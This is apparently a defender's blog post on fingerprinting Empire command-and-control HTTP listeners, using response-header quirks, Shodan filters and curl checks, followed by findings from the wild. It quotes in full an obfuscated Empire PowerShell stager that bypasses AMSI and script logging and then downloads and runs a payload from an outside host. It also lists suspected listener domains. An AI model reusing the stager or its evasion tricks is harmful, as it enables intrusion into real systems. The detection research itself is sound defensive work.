Empire is a popular open source post-exploitation framework. The framework can very roughly be broken down into two parts: agents and listeners. An agent is an implant that lives on the victim’s computer. A listener resides on the attacker’s command and control server and handles communication with the agent. A lot of work has gone into making agents difficult to find. Less has been done to hide listeners. In this write up, I point out mistakes that have been made in Empire’s HTTP listeners and then look at some listeners found in the wild.
Empire has five different HTTP-based listeners. From a network point of view, they’re similar in that a request to “/” results in a 404 Not Found error.
albinolobster@ubuntu:~$ curl -i http://192.168.1.204/ HTTP/1.0 404 NOT FOUND Content-Type: text/html Content-Length: 233 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Server: Microsoft-IIS/7.5 Date: Thu, 16 Nov 2017 21:36:21 GMT <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>404 Not Found</title> <h1>Not Found</h1> <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p> |
Perhaps that response doesn’t look interesting, but it’s enough to fingerprint an Empire HTTP listener.
Creating the Shodan Filter
One of the important things to know about Empire is that it’s built on top of Flask. Flask uses Werkzeug for some of its HTTP functionality. Empire’s dependency on Werkzeug is immediately evident in the HTTP response because the error message, “The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again” is hardcoded in Werkzeug.
Punching the query title:”404 Not Found” +”Server:Wekzeug” into Shodan shows that Werkzeug very reliably serves a 404 page that is 233 bytes. This gives us a great starting point for finding Empire listeners on Shodan: title:"404 Not Found" +"Content-Length: 233" yields ~24,000 entries. We can’t use the Server field in the HTTP response because Empire allows the user to modify it.
Another important detail about Flask and Werkzeug is that they don’t support HTTP 1.1. You can actually see in the server’s response that it starts by declaring “HTTP/1.0”. However, Empire’s HTTP response contains a feature introduced in HTTP 1.1. The Cache-Control field, originally included in RFC 2068, “Hypertext Transfer Protocol -- HTTP/1.1”, was introduced into Empire in a commit to avoid caching. Empire isn’t the first or last HTTP server to backport Cache-Control, but it does help us narrow the field a bit. The Shodan filter title:"404 Not Found" +"Content-Length: 233" +"Cache-Control: no-cache, no-store, must-revalidate" -"post-check=" -"pre-check=" -"private" has 406 results.
While we’re talking about RFC violations, it should be noted that use of the Pragma field, also introduced in the caching commit, is not correct. According to RFC 1945, “Hypertext Transfer Protocol -- HTTP/1.0”, use of no-cache with Pragma is intended for HTTP requests only. Again, Empire is not the first to ignore the RFC. In fact, Pragma: no-cache is widely used in HTTP server responses. RFC be damned. However, Werkzeug doesn’t use it by default so Empire’s usage helps narrow the field even further: title:"404 Not Found" +"Content-Length: 233" +"Cache-Control: no-cache, no-store, must-revalidate" -"post-check=" -"pre-check=" -"private" +"Pragma: no-cache" has 306 results.
There is one more RFC violation I want to point out, again from the caching commit, and that is the use of the Expires field. Both HTTP 1.0 and 1.1 specify that this field should contain a date. For example: Expires: Thu, 01 Dec 1994 16:00:00 GMT. Empire uses Expires: 0 which both RFCs specifically call out as incorrect (although 1.0 says 0 should be accepted and 1.1 says it must be accepted). The Shodan filter title:"404 Not Found" +"Content-Length: 233" +"Cache-Control: no-cache, no-store, must-revalidate" -"post-check=" -"pre-check=" -"private" +"Pragma: no-cache" +"Expires: 0" has 301 results. It should also be noted that Microsoft IIS servers generally don’t use Expires: 0. Which means Empire’s default value of Server: Microsoft-IIS/7.5 isn’t a good fit.
There is one more field that we know an Empire HTTP listener must have and that’s the Server field. As previously mentioned, this field is user configurable so you shouldn’t try to key off of the contents. But simply requiring the field to be present narrows the results down to 298: title:"404 Not Found" +"Content-Length: 233" +"Cache-Control: no-cache, no-store, must-revalidate" -"post-check=" -"pre-check=" -"private" +"Pragma: no-cache" +"Expires: 0" +"Server:".
We have more or less exhausted what we know an Empire HTTP listener response should contain. Now we need to add to the filter what we know it should not contain. For example, Empire doesn’t serve up any fields with “X-” or “Set-Cookie”. My final Shodan filter has 282 results: title:"404 Not Found" +"Content-Length: 233" +"Cache-Control: no-cache, no-store, must-revalidate" -"post-check=" -"pre-check=" -"private" +"Pragma: no-cache" +"Expires: 0" +"Server:" -"X-" -"Set-Cookie:" -"Connection:" -"Etag" -"Last-Modified" -"Accept-Ranges:" -"Access-Control".
Are Those Really Empire Listeners?
The logic behind the Shodan filter is fairly sound, but cautious readers should be asking themselves, “How can you be sure all of the results are Empire listeners?” You can’t be sure. Obviously, non-Empire servers could have the exact same HTTP banner. However, there is one more mistake in Empire that will allow us to confirm if a server is an Empire listener or not.
At the beginning of this write up, I made an HTTP request to “/” which resulted in a 404 error response. This is because Empire hasn’t implemented a route for “/”. However, Empire has implemented a route for literally everything else. For example, the following request yields a 200 OK:
albinolobster@ubuntu:~$ curl -I http://192.168.1.204/theyregooddogsbrent HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 173 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Server: Microsoft-IIS/7.5 Date: Fri, 17 Nov 2017 14:03:20 GMT |
On a normal server, “/” often maps to index.html, index.php, index.asp, etc. So it’s pretty odd if you request “/” and get a 404 but request “/index.html” and get a 200. Not only that, but the HTTP content for most 200 OKs is hardcoded in Empire. Using this knowledge we can verify, with very little doubt, that a server is an Empire listener.
albinolobster@ubuntu:~$ curl -I http://192.168.1.204/ HTTP/1.0 404 NOT FOUND Content-Type: text/html Content-Length: 233 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Server: Microsoft-IIS/7.5 Date: Fri, 17 Nov 2017 14:24:06 GMT albinolobster@ubuntu:~$ curl -i http://192.168.1.204/index.html HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 173 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Server: Microsoft-IIS/7.5 Date: Fri, 17 Nov 2017 14:24:19 GMT <html><body><h1>It works!</h1><p>This is the default web page for this server.</p><p>The web server software is running but no content has been added, yet.</p></body></html> |
Empire In the Wild
The Shodan filter seems to be quite accurate. Of the 282 servers listed on Shodan, I only counted one false positive and one I wasn’t sure about among the servers that are still reachable. I did find that some servers don’t serve up the default page for index.html. For example, the following is part of the Empire powershell stager implementation.
albinolobster@ubuntu:~$ curl http://xx.xx.xx.xx:8080/index.html IF($PSVErsionTAble.PSVeRSiOn.MAjoR -Ge 3){$GPS=[rEf].AssEmBlY.GEtTYPe('System.Management.Automation.Utils')."GEtFiE`ld"('cachedGroupPolicySettings','N'+'onPublic,Static').GETVaLUE($NUll);If($GPS['ScriptB'+'lockLogging']){$GPS['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;$GPS['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}Else{[SCRIptBlocK]."GetFIe`ld"('signatures','N'+'onPublic,Static').SETVAlue($NULL,(NEW-ObJeCt CoLlECtionS.GeNeRIC.HashSet[striNG]))}[ReF].AssEmbLY.GEtTYPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GeTFiELd('amsiInitFailed','NonPublic,Static').SEtVaLUE($nuLL,$tRUE)};};[SYSteM.NET.SErvICePOIntManaGER]::EXpeCT100ContINUe=0;$WC=New-ObJEcT SYstem.NET.WEBClIENT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$Wc.HEAdErs.AdD('User-Agent',$u);$WC.ProxY=[SYsteM.NET.WebRequeSt]::DefauLtWebPRoxy;$WC.PRoxY.CreDeNTIAlS = [SysteM.NET.CrEdenTiAlCaChE]::DEfaULtNEtWorkCredEnTiAls;$Script:Proxy = $wc.Proxy;$K=[SystEm.TeXT.EncOdING]::ASCII.GEtByteS('9bd4b7087332164f0bd38400f1485f6f');$R={$D,$K=$ARgs;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.COUNT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-BXOr$S[($S[$I]+$S[$H])%256]}};$ser='xxxx://read32.ddns.net:8080';$t='/admin/get.php';$wC.HEAderS.ADd("Cookie","session=P9ax+ES/3uPoTFnzu45H+xlR9ms=");$data=$WC.DOWnLOAdData($sEr+$t);$Iv=$DaTa[0..3];$dAta=$data[4..$DaTa.LEnGTH];-jOIn[ChAr[]](& $R $DaTa ($IV+$K))|IEX |
I also found it interesting that few listeners changed the default Server field from Microsoft-IIS/7.5. The following table lists the non-default Server values that I observed.
Server Value | Count |
Microsoft-IIS/8.5 | 7 |
Microsoft-IIS/9.0 | 1 |
Microsoft-IIS/10.0 | 1 |
BigIP | 1 |
Apache | 1 |
Apache/2.4.6 | 1 |
web012 | 1 |
nginx/1.8.0 | 1 |
To my knowledge, there is no such thing as IIS 9.0. I’m pretty sure the versioning jumped from 8.5 to 10.0.
Finally, I found SSL usage in conjunction with Empire to be fairly interesting. I counted 47 self-signed certificates among the discovered servers. More intriguing to me is the amount of certificates issued by Let’s Encrypt. It’s been Let’s Encrypt’s long-standing policy to not police content and I’m certainly not going to argue against them. Especially since I don’t have sufficient information to determine if any of the servers are actually malicious. As such, I’m just going to present the data without further comment. I’ve broken the domains up into two groups: domains verified to have Empire HTTP listeners and unreachable servers.
Verified Empire HTTP Listeners |
power-shell.net |
companysurveys.com |
prohockeynews.org |
changeme.mefound.com |
web02.allcleardata.com |
nvwmi64.nt |
Unreachable |
driverupdatesystem.com |
mswordupdates.com |
windowstechinfo.co.uk |
40xpr0.cdn-microsoft.com |
cdn.cloudfiare.ch |
creditscore.crownfinancialconcepts.org |
www3.akuncapital.com |
firstbankcardservices.com |
www1.hudsontalentagency.com |
c2.ippsaonline.com |
sogood.24hr.com |
aldreboende.net |
sso.dhow.xyz |
streaming.threenow.online |
catalog.precisionpartiesebook.com |
Conclusion
Little mistakes add up. Not just for the blue team but for the red team, too. Take advantage of your adversaries’ mistakes when you can. In this case, you can use plugin 99592 to help find any Empire HTTP listeners in your environment.